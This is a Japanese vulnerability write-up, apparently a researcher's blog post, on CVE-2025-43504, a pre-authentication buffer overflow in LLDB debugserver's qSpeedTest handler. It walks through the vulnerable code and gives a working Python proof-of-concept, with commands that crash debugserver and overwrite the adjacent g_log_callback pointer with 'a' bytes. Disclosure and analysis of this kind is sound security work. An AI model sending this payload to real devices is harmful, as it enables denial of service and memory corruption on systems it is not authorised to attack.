
debugserver におけるリモート認証前オーバーフロー子供の頃、私はよく地元のウォルマートで DVD の特価ビンを掘り返すのが好きでした。同じ映画がたくさん上に置かれていることに気づきましたが、実際に掘り返すと、より面白くてニッチなタイトルを見つけることができました。
プログラムがバッファをオーバーフローさせるとき、あなたは本質的にその特価ビンに手を突っ込んでいます。どのくらい深く手を伸ばすかによって、DVD - この場合ならメモリ内で上書きされる構造体 - が変わることがあります。
今日の特価品 /bin は CVE-2025-43504 です。私が LLDB の debugserver で発見したリモート認証前グローバルバッファオーバーフローです。
アプリ開発中、開発者は物理的な iOS デバイス上でアプリをデバッグする必要に迫られることがよくあります。これを実現するために、Xcode は対象の iPhone に Developer Disk Image をマウントし、それとペアリングします。
ペアリングが完了すると、macOS ホストはクライアントにインストールされた debugserver を使って iOS クライアントと通信できるようになります。デバイスの debugserver への GDB-remote セッションを確立できるクライアントは、qSpeedTest ハンドラに到達し、脆弱なバッファをオーバーフローさせることができます。
Apple が CVE-2025-43504 をどのように分類したかをより深く理解するため、Xcode 26.1 のセキュリティリリースページを見てみましょう。

現代のソフトウェア緩和策により、Apple はバッファオーバーフローを主にサービス拒否の問題とみなしており、メモリ破損のプリミティブとは考えていません。本日見ていくように、これは概ね事実であり、攻撃者はいくつかのハードルを乗り越え、任意のコード実行を達成するためにこの問題を別のバグと組み合わせる必要があるでしょう。
パッチ適用前の debugserver を試してみたい場合は、次のコミット、または ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de より前の任意のコミットを使用してください。
git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c
RNBRemote.cpp のパッチが適用される前は、iOS デバイスの debugserver に接続できるリモートユーザーは、認証前の qSpeedTest パケットを RNBRemote::HandlePacket_qSpeedTest に送信し、debugserver のグローバルデータセグメント内の隣接する構造体を破損させることができました。
ただし、重要な注意点があります: 私たちが制御できるのは破損の長さだけです。ペイロードの内容は 'a' 文字の並びに固定されています。学生は安定して高い成績を得られるかもしれませんが、実際に書き込まれるバイトを制御できないという事実は、このオーバーフローの実用性を大幅に制限します。制御できるのは 'a' の洪水がどこまで進むかだけです。
それでは、RNBRemote::HandlePacket_qSpeedTest の内部を見て、何が起きているのかを正確に確認しましょう。
rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
// We control the length of response_size
uint64_t response_size = ::strtoul(p, &end, 16);
if (errno != 0)
return HandlePacket_ILLFORMED(
__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
// The overflow of g_data by a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
return SendPacket(g_data);
} else {
return SendErrorPacket("E79");
}
}
RNBRemote::HandlePacket_qSpeedTest() の役割は、iOS デバイスの debugserver バイナリと通信できるリモートユーザーからの認証を必要とせずに、受信した qSpeedTest:response_size:<hex>; パケットを処理することです。
しかし、リモートユーザーが debugserver に qSpeedTest:response_size:<hex>; パケットを送信できるようになると、debugserver はユーザー提供の response_size を処理する前に認証チェックを行いません。したがって、Developer Disk Image をマウントした iOS デバイスと通信できるユーザーは、qSpeedTest:response_size:<hex>; パケットを介して debugserver をオーバーフローさせることができます。
脆弱な関数 RNBRemote::HandlePacket_qSpeedTest() に到達したところで、オーバーフローが正確にどのように発生するのかを調べてみましょう。まず、qSpeedTest:response_size:<hex>; パケット内のユーザー指定サイズ <hex> が抽出され、変数 response_size に格納されます。
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);
パースが成功し、次の文字がセミコロンであれば、関数ローカルな静的 4 MiB + 16 バイトのバッファ g_data が初期化され、ASCII ヘッダー "data:" でシードされます。
if (errno != 0)
return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
すべてをまとめると、memset は、ユーザーが制御する response_size 値を使用する 'a' の数として、静的 4 MiB + 16 バイトのバッファ g_data を 'a' で埋めます。
// The overflow of g_data by 'a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
したがって、リモート LLDB クライアントが 4 MiB + 16 バイトのバッファより大きい response_size を持つ qSpeedTest:response_size:<hex>; パケットを送信するたびに、バッファオーバーフローが発生し、debugserver のグローバルデータセグメント (.bss) に格納されている隣接するグローバル変数が破損します。
オーバーフローの背後にあるアーキテクチャを理解したところで、実際の脆弱性の仕組みに飛び込んでみましょう。まず、以下の Python プログラムを使って、g_data オーバーフローによって得られる破損プリミティブを調べてみましょう。
import argparse, socket
def frame(payload: bytes) -> bytes:
return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))
def send_one(host: str, port: int, resp_hex: str):
payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
pkt = frame(payload)
s = socket.create_connection((host, port), timeout=5.0)
s.settimeout(1.5)
try:
# send the oversized qSpeedTest
s.sendall(pkt)
try:
_ = s.recv(1) # ACK (best effort)
except Exception:
pass
# Optional tiny nudge to exercise pointer use
try:
s.sendall(frame(b"?"))
_ = s.recv(1)
except Exception:
pass
finally:
try: s.close()
except Exception: pass
def main():
ap = argparse.ArgumentParser(description="Send a single qSpeedTest packet with chosen response_size")
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=1234)
ap.add_argument("--size", required=True,
help="Hex string for response_size (no 0x prefix), e.g. 40100a or 500000")
args = ap.parse_args()
print(f"[i] Sending qSpeedTest:response_size:0x{args.size} to {args.host}:{args.port}")
send_one(args.host, args.port, args.size)
print("[i] Done. If debugserver crashed, check the log for SIGSEGV/SIGBUS and fault address.")
if __name__ == "__main__":
main()
debugserver を起動した後、以下の python3 コマンドを実行し、response_size として 4004AB を指定します。
python3 poc.py --host 127.0.0.1 --port 1234 --size 4004AB
debugserver はクラッシュせず、通常どおり戻ることがわかります。

技術的には範囲外ですが、g_data は \0 バイトで終端されているため、隣接するログ関数ポインタ g_log_callback は NULL バイトによって上書きされるだけで、ポインタ全体は NULL のままになります。
debugserver を起動した後、以下の python3 コマンドを実行し、response_size として 0x4004AC を指定します。
python3 poc.py --host 127.0.0.1 --port 1234 --size 0x4004AC
なんてこった!

追加の 1 バイトを指定することで、NULL テールを越えて押し出され、隣接する g_log_callback ポインタを 0x61 の値で逆参照することになり、クラッシュが発生しました。それでは、--size パラメータを 1 ずつ増やし続けて、何が起こるか見てみましょう。

ご覧のとおり、g_log_callback の値を制御できるようになりました。まあ、部分的には、実際に制御できるのは g_log_callback 内の何バイトが 0x61 に等しくなるかということだけです。
これは _DNBLogVAPrintf で発生するのを確認できます。
static inline void _DNBLogVAPrintf(uint32_t flags, const char *format,
va_list args) {
static std::recursive_mutex g_LogThreadedMutex;
std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);
if (g_log_callback)
g_log_callback(g_log_baton, flags, format, args);
}